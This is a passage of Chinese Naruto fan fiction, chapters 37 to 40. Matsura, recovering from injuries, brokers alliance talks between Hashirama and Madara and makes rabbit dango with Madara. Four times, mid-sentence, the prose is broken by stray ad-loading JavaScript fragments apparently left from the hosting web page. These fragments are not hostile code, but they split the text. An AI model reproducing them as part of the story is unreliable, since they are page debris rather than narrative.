在刀剑相交之时,柱间也曾表达过他从未忘记梦想,想要实现和平的心情,斑虽然不曾说出口但也从未停止过对和平的追求。 只是,当他们再次拥有不用动刀动剑就能交谈的机会,居然是在这种时候。 他们想的是梦想与和平吗?不是。 他们想的是如何打败对方,驱逐敌人吗?不是。 他们视线忽然相交,然后同时开口。 “松萝…” “松萝…” 这个普通的名字,就好像有魔力一般突然融化了他们之间因为经年累月的战斗和因疏远而筑起来的墙壁,那些疏离和隔阂均化作春风拂去了。 两人无声相视一笑,竟重拾了几分当年无忧无虑畅谈未来的感觉。 柱间爽朗发出邀请:“走吧,去我那儿谈谈。” 37.都是哥哥 就算是右腿断了,左手提不起来,只能躺在床上或者靠拐杖行动的松萝,也还是在第二天身残志坚地爬了起来,穿戴整齐坐在了床边。 都城那边瞒不了太久,她要早做打算。 既然要自立门户的事情跟大哥通过了气,接下来就要考虑如何做了。 光凭千手的力量要推平五大国、十四小国还有些困难,他们需要盟友。 理想状态下的话第一人选肯定是宇智波一族。正好对方的新任族长宇智波柱间……嘶…怎么有点头痛……正好他也在这里,不能错过这个劝和的机会。 如果这条路还是行不通的话再启用她的备用方案。 拿过一边的木头拐杖,她走出房门。 一出去,就看到了想见的人站在门口。 “大哥……” “在。”x2 千手松萝神情诡异地瞄了一眼柱间,这个人应和什么,自己没有弟弟妹妹吗,黏着别人家的算什么回事。 柱间自闭:…… 斑忍住笑意问她是不是有什么需要。 “就是咱们讨论过的那个事情啊!”她朝自闭的那个大高个努努嘴,疯狂暗示大哥趁现在赶紧说服对方族长。 像这样能好好对话的机会可不多,战场上最多的交流都是“你居然学会了这招,哼,那就瞧瞧我新学的霹雳无敌光辉大绝技吧”,完全没法进行心灵上的沟通! 这回轮到接收不到她的暗语的斑自闭了,他哪里知道你们讨论过什么。 他眼皮抽搐:“唔,唔,我知道了,就是那个嘛……” 俗话说,别把自己的快乐建立在别人的痛苦之上,但是看到斑的窘迫,柱间还是不道德地立刻恢复了元气,帮他解围顺便挖坑:“结盟的事情对吧!这真的是一个好想法啊!我非常赞成,让我们联手一起建立和平吧!走,我们现在就去写和解书吧!” “什么……结盟?和解书……” 小小的疑惑声被淹没在了松萝惊喜的叫声中:“真的吗!太好了!没想到你虽然是宇智波的族长,但是想法居然和我们出奇的一致!” “不是……” “那当然!都跟你们在战场上打了这么多年交道了,猜中想法虽然有点困难,但是换做……认人,你们千手的每一个人我都能准确无误地叫出名字来!” 松萝眼睛一亮:“真的吗,那你认识我吗?” 柱间拍拍胸脯:“当然,千手大名鼎鼎的木遁使我怎么会不认识。” “天啊!对方族长居然认得我诶,我原来这么出名吗?”松萝开心地扯了扯身边的人的衣角,下巴上扬的角度彰显了她的得意。 斑:“……嗯……” “没想到我们这么意气相投,之前是我错怪你了,抱歉!果然,我们千手和宇智波生来就是要结盟的!让我们携手组建最强忍者之国吧,这里就作为最初的基地!第一步,先去签和解书!” “我不……” “好!” 两个志气满满的人一左一右向前大踏步,走到一半发现有人没跟上来,双双回头,眼神谴责。 斑:……真的不是在整我吗? * 白纸上的墨刚干,一双手小心翼翼地将其折叠起来,放入衣服,紧贴在心口。 两个署名人注视着她的动作,神情截然不同。 一个笑意盈盈,甚至欢快地把桌上的笔墨都收拾了一下。 一个生无可恋,盯着她的动作,心里盘算着一会儿怎么把那张签了“千手斑”的纸偷来烧掉。虽然他是特意用左手写的,跟他平常的字迹完全不同,但是这种东西的还是不存在的好。 和解吗……如果不是儿戏就好了。 重新坐下来的柱间突然想起一个人来:“说起来,辉夜出云呢,好像一直没见到他啊?” “哼”,松萝侧过头,“你怎么认识出云的?虽然我对你改观了不少,但是我警告你,不要探听别人的事情,我是不会告诉你他帮我办事情去了的。” ……斑缓慢转头,用眼神询问这个据说医术高明的医生“你确定她只有认知障碍吗?别的地方没有一起被摔坏吗?” “啊哈哈哈。”后者干笑几声,他,他也不确定? “松萝你要不去休息一会儿?睡眠有助于恢复!我跟斑正好谈一谈!” “在理!”松萝把书房留给他们二人,自己回了卧室……楼下的议事所。 “城主大人。” 除了织作信乃——原来是将军的谋士,还有三人也在,分别是替她管理府库、农业、文书的人,另外还有一位统领守卫的人,大约是刚招了一批人还在训练他们中。 她应了几声,询问他们最近的事宜:“牢里那些人怎么样了?” “除了宇智波的忍者越狱过一回,其他人都老实的很。” 这个她知道,今天早上大哥给她送早餐时提过,他在走廊上看到了越狱的宇智波,顺手将他们重新送了进去。虽然那个时候他的表情怪怪的的,更多的有些恨铁不成钢的意味。 “都城那边能瞒多久?” 四人交换一下眼神,最终是织作回答了她:“长则一年,短则……三月。” 尽管这里离都城很远,但是大名的耳目一点都没有是不可能的。就算做出一些假象,按他们估计,如果情况糟糕的话,只要两三月,新城主没有上任的事情就会被有心人发现了。 “这可真够短的啊。” 四人的头更低了。 松萝又听了一些汇报回到了卧室,点燃一根白毛,烟雾散开,三花猫落地,嗓音空灵缥缈,似从天边而来:“吾乃妖怪之神,点燃吾之皮毛之人,说出你的愿望。” 松萝捏住他肉乎乎的脸颊,死鱼眼:“少装神弄鬼了。” 下一秒,猫咪老师立刻破功,掐着嗓子喊:“你干什么!放开我!把人家叫过来,不给好吃好喝的还捏人家脸蛋,哼,不跟你玩了!” 全身一哆嗦,松萝感到一阵恶寒,嫌弃地松开了他,贫嘴还是少不了:“你是谁,从猫咪老师身体里出去!” “都说了我是伟大的妖怪之神了……你”他突然停住了玩闹,钻入鼻尖的血腥味让他忽然安静了下来,变脸速度之快令人惊叹,“你受伤了?是谁?” “我没事。”她顺了顺猫毛,“但是伟大的妖怪之神啊,上次拜托您的事情怎么样了,他们愿意帮我吗?” 猫咪老师跳上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的膝盖,把猫爪放在她的胸口,闭上眼睛,默念了几句咒语,他和松萝全身笼罩在一股白光之中:“这是止痛的咒语,虽然不能让你立刻好起来,但是能稍微减轻点你的痛苦。” “至于你让我去找的那些家伙,一半反对一半支持。” “不对,加上那只臭狐狸的话,有超过半数支持了。他输给了我,所以承诺会帮你。” 少女喜笑颜开,抱住猫咪一顿揉搓:“谢谢!猫咪老师,我最喜欢你了!” “啊啊,放开我——好痛苦——嘤——” * 晚上的时候她又做噩梦了,一开始只是头疼,好像钻进了一条爬虫在脑皮一跳一跳的。后来就梦见脑子里真的有虫子在爬。 接着有一只大大的手盖在她的额头,温暖的查克拉,好舒服,好安心…又替换成了冰凉的东西,刺激得她小脸都皱在了一起……好冷,好冷,好像有无孔不入的风吹过皮肤,好冷啊……谁?在帮她搓着手脚?但是,好像没有那么冷了…… 醒来的时候,思维有些迟钝。 待眼前的三张脸逐渐清晰的时候,她才想起来,她是受伤了。 松萝试图坐起来,一边问:“大哥,我睡了多久,地牢里没有再出什么事情吧?” 左边的黑发炸毛青年立刻扶住她,松萝抬头,对上被刘海遮了一半眼睛的脸,愣了一愣。他有力的大手握在松萝的肩和胳膊上,整理了一下靠垫,然后扶着松萝靠了上去,嘴里说教着: “你真的是,昨天下午根本没有去休息吧,真是不看着你不行。城主大人未免也太能让人操心了吧。” 松萝还有点懵,呆呆地看着他,不经大脑地回了一句:“什么?” 斑见她毫无防备又呆得可爱,双手抽离之时忍不住在她鼻子上刮了一下,然后回答:“万事顺利。城主大人,你都睡了三天了,想吃些什么?” 他用“城主大人”这个称呼的时候,语气上扬,像极了……戏弄。 她脑子还有些转不动,另一边的另一个黑直发青年就插上了嘴:“不行,她睡了三天,只能先吃点流食,我是医生,吃什么我来定。” 红发青年也插嘴说:“粥的话厨房那边一直都备着哦,不过药的话要现煎。不过不先给她喝点水吗?” “哦对,”柱间转身去拿水杯,“已经彻底凉了,我去热一下,顺便把粥和药也……” “要帮忙吗,只是热粥的话我也可以…” “月见团子。” 松萝突然出声,七嘴八舌的交谈声戛然而止。三个人立刻安静下来看着她。 正是入夏之际,午后的阳光格外灿烂,衬得三人嘴巴周围细密青黑的胡茬格外显眼,软趴趴的头发反射出少许油光,她不禁被三个美少男的邋遢外表逗笑,这幅样子得伤了多少少女心啊。 “我想要兔子形状的月见团子,哥哥。” 苍白的小脸上突然绽出一朵桃红色的花儿来,少女唇边的轻声细语,弯弯的晶亮的眼,像极了一个可怜巴巴要糖吃的小女孩。 二十岁的柱间和奚山,二十一岁的斑此时此刻都坚定地认为,这声哥哥是在叫自己,不约而同地重重回了一声: “好!” 38.月见团子(1) * “咯咯咯咯咯!” 笑成鸡鸣的松萝坐在床上看着摆在盘子里的三个月见团子捂着肚子,肩膀一耸一耸的,还在内心小恶魔般地想着“果然团子太简单了,下次应该换烧鸡或者酱鸭吧”,然后在目光触及到最丑最巨大的某个不明食物的时候,又自语出声:“奚山和柱间也就算了,对斑来说会不会太难了一点哈哈哈哈哈哈。” 眼前三个,左边一个红眼红耳朵兔子,右边一个绿眼绿耳朵兔子,都是放在掌心刚刚好的大小,而偏偏中间那个巨大的像个拳头沙包,敦实的模样和狰狞的五官像是下一秒就会立刻将旁边两只小兔子吃掉的大怪兽。 “唔……果然更像年兽吧,还有獠牙和毛须……作为兔牙也太长了吧……话说一个团子而已,他为什么要画这么多面部细节上去,一般来说点上眼睛画上耳朵不就够了吗,某种意义上来说他很有才能呢……” “我进来了。” 有人敲门,松萝收起笑,把放着月见团子的盆子放到一边。 是宇智波斑。 松萝看到他就想笑,努力忍住,然后问:“东西都找来了吗?” “嗯,差不多吧。” 松萝要做一张能方便她行动的轮椅,具体由她指挥,斑动手。 “先做轮子吧,就跟三轮车的轮子那样就行了。然后再做坐板和靠背。” 理想很美好,但是,松萝高估了这个人的动手能力。 “你把轮子中间放轴的洞挖得这么大干嘛?好吧大点就大点,可是你又为什么要连接轴刨得那么细,这还能卡得住?” “重新削个轮子吧,这次记得中间别挖太大了……” “等等,那块板要留着做靠背的……什么?!别的板子被你霍霍光了?什么时候,我明明一直盯着你的啊……天啊,这些都给浪费了?” “……你也太笨手笨脚了吧斑。” 被松萝数落了一通,他终于忍不住扔下手里的东西,泄愤似的踢到老远:“什么东西,我不做了!” 然后转向松萝提高声音:“要什么轮椅,你就乖乖呆着不好吗?要吃的要喝的我都可以给你拿来,也可以陪你讲话,为什么非要做个轮椅?你那么想出去吗?就算你想出去,我也可以背你,有我在,没有必要靠别的东西。” 松萝哑然,她也只是想找点事情做罢了,而且有了轮椅,很多事情就可以不用麻烦别人了,前几天她生病的时候也是,现在躺着养肩伤腿伤也是,斑几乎是寸步不离地守着自己,她只是不想让他这么累了。 斑说完顺着看她的视线看到了三个并列的团子,他学了一夜,还是这么丑,尤其是跟另外两个放在一起的时候,像在提醒他有多么不如另外两人,连他现在能照顾松萝,得到她的亲昵,都只是因为她将自己错认成了大哥。 他突然烦躁起来,大跨步向前拿起自己做的那一个,然后往墙上一砸,做得这么烂,眼不见为净。 松萝被他的举动吓到不敢置信:“斑!你做什么!?” 他不屑地哼了一声:“这么丑的东西没必要留着。” 松萝也有点生气:“但是你已经把它送给了我,就只能由我来处置!” “就算给了你,那也是我做的东西。我为什么不能处置它。” “你这样随心所欲、不顾别人的想法的地方真令人讨厌。” 刚说完松萝就后悔了,语出伤人是她自己最厌恶的事情了,她咬了一下唇:“对不起,我不是…” 斑打断她,自嘲:“没错,我本来就是一直被人厌恶着的。多你一个不多。” 说完他转过身,只在原地留下一阵风就消失了。 “斑……” 松萝跳下床,瘸着脚追到窗边,却连个影子都没摸着。静静地看着外面几秒,她默默地走到月见团子的被砸扁的“尸体”旁边,捡了起来。 吃是不可能吃的,只能含泪喂猪了。 斑也真是的,动不动就玻璃心!她这一身伤是谁造成的,她都还没找他算账呢,敢跟她生气,哼! 松萝一把扔掉手里的团子尸体,呸了一声。 “这就哭了?” 背后突然有声音传来,松萝惊讶回头。 “奚山?你什么时候来的?” “路过路过。” 他的样子有点滑稽,带着一个超大的挡住全脸的头盔,身上灰扑扑的。 注意到松萝好奇的视线,他摊手解释道:“这都是因为躲你的部下们。说什么‘既然是城主大人的朋友那么现在人手不足帮点小忙也是当然的吧’把我从早使唤到晚,他们对你客客气气,对我可真是过分呢~” 松萝不好意思地低下头:“抱歉。” 奚山低头凑近她,抬起她的下巴,直到视线齐平:“嗯,眼睛有点红。” 松萝嫌弃地拨开他的头:“你从哪里翻出来的头盔,有股霉味哦。” 他把头盔摘下来,露出俊美的脸,然后拉着单脚站立的松萝坐下。 “吵架了?” “……才没有。”她顿了一下,然后小声接了一句,“是他单方面心情不好而已。” 奚山啧啧两声:“你们是小孩子吗。” “不过你也够厉害的,被两大族长捧在手心,还能不费一刀一剑只用一句话就能让堂堂宇智波的族长负气出走,你要是去评红颜祸水绝对能排第一。” “……这词是这么用的吗?!他们一个是我大哥,一个是我多年好友。”松萝理直气壮,然后想起什么似的问,“你什么时候发现我恢复了的?”她指的是认知障碍。 “发烧醒来第一眼吧。” 松萝瞪大眼睛看他,像是在看什么怪物。 奚山:“我都说过了我很细心的。”而且那两人是关心则乱,这么显而易见的眼神都没注意到。 他继续问:“什么时候告诉他们?我昨晚还看到柱间大人蹲在角落失落地种蘑菇呢。” “本来是想等伤好,现在……” 奚山顺着她的话接下去:“现在想着顺着吵架把宇智波斑气走,直接断了关系省得将来尴尬?” 松萝摇摇头:“奚山,你这么聪明,却也还是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不了解我呢。也许曾经不成熟的我会想用这样冷处理的办法对待一个真心对我的朋友,但现在不会。我只是有一瞬间在想,如果一辈子都这么瞒下去,我是不是就能同时拥有大哥‘宇智波斑’和大哥‘千手柱间’了。” 她注意到奚山愣住的表情,很是快乐地笑了:“是不是觉得我很自私?可惜不是哦,我只是发现,在这虚假的关系下,斑是发自真心地笑着的。戳破了这层虚假,他才是最难过的那一个。他很在乎我。” “你可真自信。”不过也确实算不得假。 松萝想起之前迷茫时的自己,话间带上一分苦涩:“也不是一直这么自信的……不过最起码现在,在这里,我很自信,只要我现在大喊一声‘救命,非礼啊’,他绝对会冲过来不分青红皂白地打你一顿,因为在这里,我是城主,他是城主的友人A。” 奚山:“……我好怕怕哦。” 奚山:“我明白了,就相当于这里是你们可以不顾背后忍族的‘桃源’是吧,听起来可真悲伤,一旦回去又要变成敌人。” “嘻嘻,不会这么简单放他回去的,”松萝露出一个狡黠的眼神,“大哥也在呢,别忘了,我们的目标可是劝和宇智波,这么大一个落单的族长在,怎么可能放过呢?” “把宇智波斑这么一大只猛兽出笼称作‘落单’,我很佩服你的勇气。” “奚山。” 松萝嬉笑的表情一收,突然认真地叫他,坚定的眼神里像是有一团火。 “虽然认识你的时间还不长,但你的细心,你的远见,你的才智,你的战力,不管问谁都是会惊叹认可,我也是,并且全都想要利用。不是漩涡族长的儿子,而是奚山,为了实现和平的梦想,我想要你。” 她的瞳孔里映着他的模样,眼底熊熊燃烧的火焰将他包围,火舌飞舞,像是舞到了他的心里,舞得让他心热,舞得让他心慌。 这可是犯规啊,姬。 白皙纤弱的手正摊开掌心伸在他面前,姬坐在床边仰视着他。 奚山缓缓将手放上去,握住,然后翻了个面拉到自己唇边轻轻一吻。 如你所愿。 松萝突然感觉手背像被电触到了一般,惊吓着收回,然后脸红恼羞地说:“你干什么!!” 奚山摊手:“都要我献身了,总不能不让我收点利息吧?” “不是这种献身!!” “咦,你好像很懂嘛,这种献身是什么献身,说来听听?” “……” 果然脸皮薄的斗不过脸皮厚的,她的修炼还不到家! “我在说正事!” “我也很认真的,”他转过话题,“那你们打算怎么拉拢那个宇智波斑?” “怎么拉拢应该是大哥该考虑的事,我只要留住他不让他走就行了。” “具体怎么做?” “当然是哄他啰,斑其实很好哄的。” 奚山面上开始扭曲:“你都有我了,还要去哄别的男人吗?” 松萝没忍住一拳呼了过去。 “你给我闭嘴!!” 39.月见团子(2) 斑虽然负气摔门而去,其实并未离远,他还记得松萝的伤,只是暂时不敢再去见她,在外面找了棵能看到二楼窗口的树,在上面待着罢了。 他在树上从白天坐到晚上,一直盯着看不到里面的窗口。 他没有生她的气,只是生自己的气而已。 松萝的伤是他造成的,所以他会在伤口迟迟不好的时候这么紧张,这一切都是他的错。他想补偿,想赎罪,想让她利用他,使唤他,这样他心里就能好受一些。 跟她发什么脾气呢? 斑懊恼地锤了一下自己的腿。 突然,窗口出现了不一样的动静,一条床单打结系成的绳子从窗口挂了下来,斑皱眉站起来。然后他看到一个白色的身影攀出窗户,笨拙地单手扒着绳子爬出来。 斑瞳孔一缩,想也不想地冲过去。 这家伙伤还没好,偷跑出来是要做什么,还不够危险吗!? 松萝右手紧抓着绳子,忽然听到裂空的风声从背后不远处传来,面朝墙壁的她狡黠一笑,然后手一松,假装没抓稳一般整个人后仰向下倒去。 熟悉的气息从身后将她包裹住,有力的双臂护在了背后和腿弯,抱着她稳稳落地。 斑的脸沉得像遇见了杀父仇人,其实也大差不差,毕竟面前的是杀父仇人的养女。到了地面,他就要将人放下来,松萝比他更快一步,双手环上他的脖子,说:“我站不稳,你抱我回去。” 他唇线紧抿,看着很不爽,但手上又抱得很紧,松萝在内心偷笑。 “既然要回去,从窗口出来做什么?” “当然是…守株待兔呀。” 宇智波斑也不知道怎么听了这话耳朵突然红了起来,不过在黑夜和长发的遮掩下无人看清,都是被气的。 他抱着松萝打算直接跳回窗户。 “等等,我不要这么回去,我要走门。” 等进了门,她又接着指挥。 “不走这边,走那边。” “前面拐弯,记得避开人哦。” “我想走这边嘛,好不好。” “……” 七拐八弯之后,他们到达的地方是——厨房。 “到了到了,放我下来!” 松萝跳到案桌边,一把掀开盖在上面的布,让藏在下面的东西展露出来。 糯米、水、竹筒、红糖浆等,是用来做月见团子的材料和工具。 她拉了拉斑的衣袖,开心地说:“锵锵锵锵!我下午叫人帮忙准备哒,我们一起做团子吧。” 斑扯了扯袖子没扯动,又不敢太用力怕她摔倒,啧了一声:“不想做。” 松萝撅了撅嘴:“可是我晚上还没吃东西呢,就等着你了。” 见斑面上有所松动,她再接再厉:“你知道我为什么想吃兔子形的月见团子吗?是因为我一看见你就想起兔子呀?” 斑一愣:“为什么?我跟兔子哪里像了?”是因为眼睛吗,最后半句他没问出口。 “不像吗?”松萝缓缓贴近他,斑皱眉退了一步。 “你看。你就像兔子一样,我不动你就不动,我一往前,你就跑得没影,若不是我现在抓着你的袖子,你可能早就退到墙边去了。” 斑被她说得面上一红,他也不知道为什么自己要面红,总觉得像是被调戏了……他晃头,把奇怪的想法挥去,不过不是因为眼睛这一点居然让他有点开心。 “来吧,再不做就真的要饿死了。你也还没吃吧。” “我,我当然已经吃过了。” “那好吧,就当只有我饿了,拜托你救救可怜的我好不好。” 斑从她装可怜的脸上移开目光,总觉得被那样盯着有些受不了,于是走到案前。 “等等,先去洗手!” “等等我啊,你倒是扶我一下啊,我现在可是右腿断了的美少女啊!” “嗤”,斑笑出声,扶着她去洗手,“像你这样断了腿还咄咄逼人的美少女真是世间仅有。” 松萝笑嘻嘻的:“只要你不反驳我是美少女,我就不在乎你前半句说的是什么。” 斑脱了手套按着她的手浸入水中,摸到薄茧的时候怔了一下,然后才想起来,他没有必要连洗手都代劳啊。 松萝:“怎么了?” 松萝将湿漉漉的手拿出水面,自己摸上掌心。 “啊,又长茧了啊。” 其实不是“又”,而是一直都有,除去少年时修行偷懒,又被柱间和扉间抢着做家务时这双手有过一段细皮嫩肉的时间以外,就没有太漂亮过。 指甲和手背都在她的保养下好好的,但是握刀握剑的掌心永远也光滑不了。 她不伤心,只有失去什么才能得到什么,这点茧连代价都算不上,柱间、扉间、桃华没有一个不是手间粗糙的。 她不在意地一边洗手一边说:“有点难看,配不上我这张美少女的脸了,也许我应该找一副露指的手套……” 松萝擦干手站在案边:“那好,就让我们开始吧。” 斑:“你知道做团子的方法吗?” “应该跟过年捣年糕时差不多的步骤吧。” “年糕?”斑想起了她曾送给过他的看不出是什么东西的新年年糕,据说是兔子来着,似笑非笑地看了她一眼。 松萝瞪他:“那都好几年前了,我现在水平可进步了好多!” 两人都算是有经验了,加水加热捣米团都很顺利,直到该捏形状的那一步。 松萝帮他揪了一小团下来放到他手里,嘱咐说:“接下来你仔细看着我的动作,千万不要自行发挥,知道了吗?” 斑不可置否,不过还是盯着她手中的动作。 一会儿之后。 两个用糖浆画了眼睛、嘴巴和耳朵的兔子成型了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 松萝哭笑不得地看着斑做的那一个,圆润是挺圆润的,但这样就分不清哪边是头哪边是屁股了啊! “斑大人,”松萝尊敬地开口,“为什么拿笔拿剑都不曾手抖的您,拿沾了糖浆的筷子画兔子耳朵能抖成这个样子?” 这已经不是一条长长的兔子耳朵线,而是变成了大片的猪耳朵。 “没关系,我们再来几遍,总会变好的。” 重来一遍,她余光偷偷地看向身边的人,他握着筷子的手微微发抖,另一只手按在发抖的手腕上,眼神专注得凝出了一丝杀气。 松萝:……不至于不至于。 让他这么下筷,估计结果跟上一个也差不了多少,于是松萝抢先制止,把手按在他发抖的手上面,拍拍他示意他放松力气,然后握着他的手一起下筷画。 嗯,这次虽然也不是很漂亮,但是一条波浪线嘛,还算有点可爱。 “瞧,你就是太用力了,稍微放松一点…反正……等会儿不好看的全都你自己吃!” 斑看着成品,确实好看多了,也笑了起来,都是她的功劳。 “好,都我吃。” 两人将全部米团用完,一共做了八只,摆在盘子里甚是可爱。 要是有相机就好了,真想将这样的时光永远保存下来。 “可惜…”她低声念叨了一句。 斑没听清就问了一句。 松萝摇摇头,指挥他去饭桌边先坐着,然后偷偷翻出一个饭盒,落后几步抵达饭桌。 她将月见团子推到一边,拿出藏在身后的饭盒,打开推到斑面前,里面是他爱吃的豆皮寿司。 “刚刚是开玩笑的,月见团子是我指名要吃的,这个才是你的。” 见他迟迟不动,松萝拿起一个递到他嘴边,求饶道:“就当我为下午的话赔罪好吗?我知道错了,我从来没有讨厌过你,但是是你先发脾气把给我的东西扔掉的,如果我将送给你的东西拿回丢掉你也会生气的对不对?既然都有错,我们忘掉好不好?” 斑握住她的手,抓得很紧,一双眸子欲言又止地看着松萝,最终还是敛下眉,接过寿司说:“好。” 松萝满意地笑了起来,然后看向身边的人几乎被长发全部挡住的侧脸,犹豫地问:“你…是不是该剪头发了,都挡住脸了,不会挡视线吗?” 斑:…… “你有意见?” 松萝实话实说:“有,太挡脸了,应该修一下前额的。你应该把脸露出来,就像我这样,美丽的脸应该让大家共同欣赏。” 斑看向她精致的小脸,不由得笑笑:“说这种话你脸皮真厚。” “还不够厚呢。”比不过奚山那个不要脸的。 “哈哈,”他被逗笑了,然后说,“那你来修吧,按你的想法来。” “真的吗?!”松萝惊喜地望着他,“那明天就剪可以吗?” “嗯。” 40.琐碎的日常 第二天中午柱间在城堡中遇到斑时,总觉得他哪里不一样了,仔细一看,才发现他好像剪头发了,发量少了,双眼也完全露了出来,少了厚重刘海带来的压迫感。他亲切地跟他打招呼,自从上次叙旧之后,他就感觉好像回到了从前的关系,最起码在这里不用再针锋相对。 斑也看到了他,打了声招呼,紧接着就问:“你觉得我的头发怎么样?” 柱间竖了个大拇指:“我觉得超清爽,超帅的!” 然后看向他背后松萝的房间眼神询问。 “她午休睡了。” “昨天都没看你人,去哪了?” 柱间叹了口气:“回了族里一趟,被我弟弟骂了一通,顺便带了点东西过来。” 虽然骂了他一通不想让他再跑,但一听到松萝受了伤还留在这里反倒急着赶他回来,他这个大哥越来越没有地位了… “换个地方吧,我有事跟你谈。” 一到正事,柱间就很严肃。 他们到了柱间的房间,落座之后,柱间先是闭眼,双掌相合,紧接着脸上出现了黑色的纹路。 斑认识这是仙人模式,但出于信任只是皱了皱眉并没有做多余的动作。 柱间:“看来这里应该没有问题。” 斑不解:“这是在做什么?” “仙人模式可以探查恶意。”他变回普通的状态。 前些日子,松萝突然跟他说要学习仙人模式时他就留了个心眼。她早不提晚不提,一定是那个时候发生了什么事情。 一直留心着的他,前几天终于抓到机会,逮住猫咪老师询问了一番。 …… “……看样子有人曾经潜伏在你和松萝身边,不知道是出于什么目的,还是小心为上。所以我才时常用仙人模式感知周围。” 无论这个人是谁,有什么意图,他都要将他…… “柱间。” 柱间回神:“啊,抱歉,想起了一些事情。” 斑皱眉,他觉得刚才柱间周身的气势有点像他将松萝从废墟里抱出来的样子,尖锐、阴暗一点也不像他:“你刚才的表情有些……不一样。” 他摸上脸,遇上她的事好像是会有些烦躁。他恢复平常的状态:“没事。” “柱间,虽然只是我的猜测,但这个人应当是有预谋的。他变换成我和松萝的样子隐藏我们姓氏的行为看上去是为了我们能够好好当朋友,实际上是在助长有朝一日知晓后的爆发。这个人,绝对不安好心。” 他顿了顿,出于信任还是将接下来的话说出了口:“我们一族的写轮眼,与…情感有关,越是剧烈的情感,越能激发瞳力。我怀疑这个人之所以这么做,就是想激发我的瞳力的进化。但是我也没想明白,他这么做的目的是什么。进化之后呢,难道他要来抢夺吗?” 他现在已经进化到了万花筒写轮眼,是已知的写轮眼的极致,那为什么他还不来夺取呢?难道说…… 斑突然站起来。 难道说,万花筒写轮眼还不是写轮眼进化的尽头吗?这之上还有更高级的瞳术吗? 不等等,万花筒的进化的代价是父亲的死亡,那如果要继续进化呢,代价会是什么? 他突然握紧拳头,不详的预感在心中形成。 如果这世上还有什么是令他害怕的话,那就只有…… 柱间也站起来:“你有什么头绪了吗?” 斑苦涩地说:“我现在的写轮眼的进化是父亲的死亡带来的,如果还要用更深的痛苦使之进化的话,就只有我弟弟……和…松萝的死。” 他说到后面,怒气涌上来,若真的有人策划着这样的事情,他一定要他,死。 柱间:“斑,你先冷静。” 为什么松萝也……他,斑是这样看重松萝吗?他和松萝的关系到底到了哪一步?他是不是也…… 柱间闭眼先让自己冷静下来,这些上次就想问出的问题,最终被他因为胆怯听到回答而咽回了肚子。 ——这些不重要,在松萝的安全面前都不重要! 柱间这样告诉自己,只有这样他才能不去胡思乱想。 斑看向他:“柱间,我很冷静。我们联手吧,把这个人抓出来。” 这是斑第一次主动向柱间提出联手。虽然不是宇智波和千手的联手,但也足以让柱间惊喜,这意味着他们迈出了第一步。 虽然被拒绝了无数次,但柱间还是试探着问道:“宇智波真的没有与千手结盟的念头吗?世世代代牺牲的人已经够多了,就让战争在我们这一代结束如何?趁我们想要保护的人还活着的时候。而且只要我们两族结盟,一定能更好地保护他们的。” 本以为是跟上次一样的沉默的时候,斑这一次有所不同:“这种想法还是太嫩了,柱间,即使族内有主和派,但是也有主战派的存在,你我都刚当上族长,你能保证全然掌控族人,让他们接受你的意见吗?你做不到,我也做不到。” 柱间的笑容越来越大:“那么,如果有一天能让族人全然信服我们,宇智波是不是能和千手缔结和平盟约呢?然后我们就可以建立属于我们的村子,完成梦想。” “哼,”斑也有点被他的傻笑感染,“等到了那一天再说吧。” 这是一个巨大的进步! 柱间头一次感受到了和挚友心灵相通的感觉。 他忍不住上前拥抱他,却被斑用拳头抵住,大有一种你要是敢抱上来就现在打一架的趋势。 柱间悻悻放下手臂,但是还是忍不住嘴角上扬,四舍五入就是斑答应他结盟了。只要他们能说服族人,能统一族人的意见,和平,就不远了! 斑泼他冷水:“别高兴得太早,要说服族人可没那么容易,最起码我的弟弟是绝对说服不了的人。” 柱间脑海里也浮现了扉间的脸,瞬间耷拉下来:“我那弟弟也是,绝对不会同意的。” 他俩对视一眼,从中看到了同病相怜,一起哈哈笑起来。 说到结盟他刚刚明明想起了什么东西,好像是一张纸?怎么又突然想不起来了呢? * 谈话之后,斑消失了半日,回了族内一趟。 又过了三日,松萝状态越来越好啦,柱间和斑破例允许她短暂地参与城中事务。 大家见到她都纷纷上前关心,让松萝有些不好意思:“抱歉让你们担心了。” “不,是城主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大人保卫了我们,赶走了入侵者,都是我们太没用了。” 松萝对这褒奖受之有愧,心虚地想:大哥他们到底是怎么对他们叙述那天发生的事情的啊…… 她照例询问:“地牢?” “最近他们都很安静,一点也不闹了,毕竟一天就一顿饭,估计也没力气闹吧。” 一个谋士忍不住问:“城主大人,真的要将他们放回去吗,虽然他们一直被蒙着脸甚至不知道这里是哪里,但是,保险起见还是……” “杀了吗?”松萝的视线越过会议室中的众人,落到在角落里抱臂静立的斑身上,心里为这名胆大的谋士捏了把汗,大兄弟,你别忘了地牢里还关着五个宇智波,而你正在宇智波的族长面前提议杀了他的族人哦。 松萝:“说到底他们也没有对我们做什么吧。”抱着来当城主的享福观念来,却被一群真正的“乱臣贼子”抓起来,真惨。不过总归是站在了对立面,也不能心慈手软…… “将侍奉的人放了吧,其他人就…按你的意思来吧。记得带去远点的山里,我记得北边的山头上本来就有一个盗贼窝,不过这两年倒是消失了,借一下他们的名头吧……宇智波的忍者们就不用你们管了,我这边会处置。就这样,散会!” 今天天气不错,也都是好消息,每个离去的人面上都是轻松的,比起空降一个来路不明的城主,果然还是她这种采取放养政策的城主更让他们觉得自由吧。 ——我,果然被爱戴着呢。 达成今日份自恋,松萝拄起拐杖也往外走,一身黑衣的斑就像个近身侍卫一样保持落后一步远的距离跟着。 心里想着这个比喻的时候,真正的城主近侍就出现在了松萝面前。 “怎么了?” “外面有人说相见城主您,看上去像是乡民,不像是什么坏人,所以……” “没事,带我过去吧。” 等她看到等在城门口的人身边的小男孩时,松萝立刻就明白了他们为何而来。 果然一个年轻父亲模样的农民一见到她就要跪下来,松萝赶紧往旁边一跳避开。 “您别这样,赶快起来吧。”松萝给近侍一个眼神让他去扶。 